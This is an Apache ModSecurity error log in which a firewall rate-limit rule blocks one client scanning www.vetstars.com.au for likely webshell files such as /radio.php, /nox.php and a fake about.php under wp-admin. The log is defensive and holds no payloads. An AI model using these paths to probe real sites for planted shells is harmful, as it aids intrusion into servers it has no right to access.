[Wed Feb 25 00:55:58.075962 2026] [:error] [pid 18441:tid 18729] [client 20.203.143.97:12924] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bibil.php"] [unique_id "aZ3YHhYF1wpOnXIaHlONFwAAANQ"]
[Wed Feb 25 00:55:58.622372 2026] [:error] [pid 18441:tid 18708] [client 20.203.143.97:22844] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bibil.php"] [unique_id "aZ3YHhYF1wpOnXIaHlONGQAAAMA"]
[Wed Feb 25 00:55:59.166221 2026] [:error] [pid 18458:tid 18818] [client 20.203.143.97:4237] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aZ3YHwuir-tBe4tUisl1AAAAApc"]
[Wed Feb 25 00:55:59.791593 2026] [:error] [pid 18441:tid 18724] [client 20.203.143.97:26218] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aZ3YHxYF1wpOnXIaHlONHAAAAM8"]
[Wed Feb 25 00:56:00.579965 2026] [:error] [pid 18458:tid 18803] [client 20.203.143.97:25663] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aZ3YIAuir-tBe4tUisl1BAAAAok"]
[Wed Feb 25 00:56:01.284735 2026] [:error] [pid 18458:tid 18815] [client 20.203.143.97:26974] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aZ3YIQuir-tBe4tUisl1BwAAApQ"]
[Wed Feb 25 00:56:02.064779 2026] [:error] [pid 26872:tid 26897] [client 20.203.143.97:17090] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aZ3YInxLbzvRGuzwKjnGiAAAAFc"]
[Wed Feb 25 00:56:02.666652 2026] [:error] [pid 18458:tid 18806] [client 20.203.143.97:15896] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aZ3YIguir-tBe4tUisl1CwAAAow"]
[Wed Feb 25 00:56:03.455579 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:4232] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aZ3YI3xLbzvRGuzwKjnGkAAAAEs"]
[Wed Feb 25 00:56:04.402695 2026] [:error] [pid 18458:tid 18809] [client 20.203.143.97:4271] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/files.php"] [unique_id "aZ3YJAuir-tBe4tUisl1EwAAAo4"]
[Wed Feb 25 00:56:05.368127 2026] [:error] [pid 18447:tid 18785] [client 20.203.143.97:14020] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aZ3YJc-TpHVc8yBj5eakpwAAAhY"]
[Wed Feb 25 00:56:06.119457 2026] [:error] [pid 18441:tid 18733] [client 20.203.143.97:26986] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aZ3YJhYF1wpOnXIaHlONJQAAANg"]
[Wed Feb 25 00:56:07.054152 2026] [:error] [pid 18850:tid 18855] [client 20.203.143.97:12922] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aZ3YJ-DBmHucoAJRnqnjZQAAAAM"]
[Wed Feb 25 00:56:08.087970 2026] [:error] [pid 18447:tid 18765] [client 20.203.143.97:14065] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file7.php"] [unique_id "aZ3YKM-TpHVc8yBj5eakrQAAAgI"]
[Wed Feb 25 00:56:08.578218 2026] [:error] [pid 18447:tid 18783] [client 20.203.143.97:9502] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aZ3YKM-TpHVc8yBj5eaksAAAAhQ"]
[Wed Feb 25 00:56:09.069130 2026] [:error] [pid 18441:tid 18731] [client 20.203.143.97:25655] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aZ3YKRYF1wpOnXIaHlONKAAAANY"]
[Wed Feb 25 00:56:09.716585 2026] [:error] [pid 18447:tid 18774] [client 20.203.143.97:25651] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aZ3YKc-TpHVc8yBj5eakswAAAgs"]
[Wed Feb 25 00:56:10.222199 2026] [:error] [pid 26872:tid 26881] [client 20.203.143.97:9535] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aZ3YKnxLbzvRGuzwKjnGkgAAAEc"]
[Wed Feb 25 00:56:10.966975 2026] [:error] [pid 18850:tid 18872] [client 20.203.143.97:9883] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aZ3YKuDBmHucoAJRnqnjcgAAABQ"]
[Wed Feb 25 00:56:11.695505 2026] [:error] [pid 18458:tid 18805] [client 20.203.143.97:14064] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aZ3YKwuir-tBe4tUisl1JgAAAos"]
[Wed Feb 25 00:56:12.250682 2026] [:error] [pid 18441:tid 18732] [client 20.203.143.97:17144] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aZ3YLBYF1wpOnXIaHlONMAAAANc"]
[Wed Feb 25 00:56:12.863268 2026] [:error] [pid 18441:tid 18728] [client 20.203.143.97:14076] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aZ3YLBYF1wpOnXIaHlONMQAAANM"]
[Wed Feb 25 00:56:13.907627 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:22840] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aZ3YLXxLbzvRGuzwKjnGlgAAAEI"]
[Wed Feb 25 00:56:14.474989 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:13748] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aZ3YLnxLbzvRGuzwKjnGmAAAAEg"]
[Wed Feb 25 00:56:15.021229 2026] [:error] [pid 18850:tid 18870] [client 20.203.143.97:4211] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aZ3YL-DBmHucoAJRnqnjdQAAABI"]
[Wed Feb 25 00:56:15.867865 2026] [:error] [pid 26872:tid 26878] [client 20.203.143.97:15898] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aZ3YL3xLbzvRGuzwKjnGnwAAAEQ"]
[Wed Feb 25 00:56:16.534553 2026] [:error] [pid 26872:tid 26892] [client 20.203.143.97:15934] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aZ3YMHxLbzvRGuzwKjnGpAAAAFI"]
[Wed Feb 25 00:56:17.379423 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:48136] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aZ3YMXxLbzvRGuzwKjnGqAAAAFY"]
[Wed Feb 25 00:56:18.292129 2026] [:error] [pid 26872:tid 26889] [client 20.203.143.97:48188] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aZ3YMnxLbzvRGuzwKjnGrQAAAE8"]
[Wed Feb 25 00:56:19.562933 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:4249] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aZ3YM3xLbzvRGuzwKjnGswAAAFM"]
[Wed Feb 25 00:56:21.937469 2026] [:error] [pid 18850:tid 18865] [client 20.203.143.97:9914] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aZ3YNeDBmHucoAJRnqnjgwAAAA0"]
[Wed Feb 25 00:56:23.616701 2026] [:error] [pid 18850:tid 18870] [client 20.203.143.97:26953] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aZ3YN-DBmHucoAJRnqnjkQAAABI"]
[Wed Feb 25 00:56:25.222074 2026] [:error] [pid 18850:tid 18858] [client 20.203.143.97:9528] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aZ3YOeDBmHucoAJRnqnjnQAAAAY"]
[Wed Feb 25 00:56:26.803615 2026] [:error] [pid 18441:tid 18722] [client 20.203.143.97:15927] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aZ3YOhYF1wpOnXIaHlONOAAAAM4"]
[Wed Feb 25 00:56:28.573008 2026] [:error] [pid 18850:tid 18865] [client 20.203.143.97:4231] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aZ3YPODBmHucoAJRnqnjqQAAAA0"]
[Wed Feb 25 00:56:30.413494 2026] [:error] [pid 18441:tid 18725] [client 20.203.143.97:17097] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aZ3YPhYF1wpOnXIaHlONPwAAANA"]
[Wed Feb 25 00:56:31.731940 2026] [:error] [pid 26872:tid 26891] [client 20.203.143.97:12901] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aZ3YP3xLbzvRGuzwKjnGvAAAAFE"]
[Wed Feb 25 00:56:33.912751 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:15919] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aZ3YQeDBmHucoAJRnqnjvgAAAAg"]
[Wed Feb 25 00:56:35.021407 2026] [:error] [pid 18458:tid 18817] [client 20.203.143.97:15887] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aZ3YQwuir-tBe4tUisl1QgAAApY"]
[Wed Feb 25 00:56:36.415557 2026] [:error] [pid 18447:tid 18769] [client 20.203.143.97:48138] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aZ3YRM-TpHVc8yBj5eakygAAAgY"]
[Wed Feb 25 00:56:37.957980 2026] [:error] [pid 26872:tid 26889] [client 20.203.143.97:8193] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aZ3YRXxLbzvRGuzwKjnGxwAAAE8"]
[Wed Feb 25 00:56:39.105826 2026] [:error] [pid 26872:tid 26881] [client 20.203.143.97:17123] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aZ3YR3xLbzvRGuzwKjnGywAAAEc"]
[Wed Feb 25 00:56:40.133013 2026] [:error] [pid 18850:tid 18859] [client 20.203.143.97:17149] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aZ3YSODBmHucoAJRnqnj1wAAAAc"]
[Wed Feb 25 00:56:40.732807 2026] [:error] [pid 18850:tid 18874] [client 20.203.143.97:12927] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aZ3YSODBmHucoAJRnqnj3gAAABY"]
[Wed Feb 25 00:58:42.595942 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:4344] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aZ3YwuDBmHucoAJRnqnkyAAAAAg"]
[Wed Feb 25 00:58:43.122860 2026] [:error] [pid 18850:tid 18855] [client 20.203.143.97:20098] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aZ3Yw-DBmHucoAJRnqnkywAAAAM"]
[Wed Feb 25 00:58:43.613138 2026] [:error] [pid 18850:tid 18874] [client 20.203.143.97:8871] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aZ3Yw-DBmHucoAJRnqnkzQAAABY"]
[Wed Feb 25 00:58:44.109543 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:19712] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aZ3YxHxLbzvRGuzwKjnH1wAAAEY"]
[Wed Feb 25 00:58:44.603876 2026] [:error] [pid 18850:tid 18861] [client 20.203.143.97:4299] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aZ3YxODBmHucoAJRnqnk0QAAAAk"]
[Wed Feb 25 00:58:45.083606 2026] [:error] [pid 18458:tid 18818] [client 20.203.143.97:48794] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aZ3YxQuir-tBe4tUisl2JgAAApc"]
[Wed Feb 25 00:58:45.560251 2026] [:error] [pid 18850:tid 18868] [client 20.203.143.97:48777] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aZ3YxeDBmHucoAJRnqnk0gAAABA"]
[Wed Feb 25 00:58:46.038629 2026] [:error] [pid 18447:tid 18766] [client 20.203.143.97:8843] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aZ3Yxs-TpHVc8yBj5ealiQAAAgM"]
[Wed Feb 25 00:58:46.573132 2026] [:error] [pid 18458:tid 18801] [client 20.203.143.97:9626] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aZ3Yxguir-tBe4tUisl2LAAAAoc"]
[Wed Feb 25 00:58:47.133682 2026] [:error] [pid 18447:tid 18767] [client 20.203.143.97:9658] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aZ3Yx8-TpHVc8yBj5ealjQAAAgQ"]
[Wed Feb 25 00:58:47.620862 2026] [:error] [pid 18447:tid 18764] [client 20.203.143.97:24777] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aZ3Yx8-TpHVc8yBj5ealkgAAAgE"]
[Wed Feb 25 00:58:48.379123 2026] [:error] [pid 18447:tid 18777] [client 20.203.143.97:9607] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aZ3YyM-TpHVc8yBj5eallwAAAg4"]
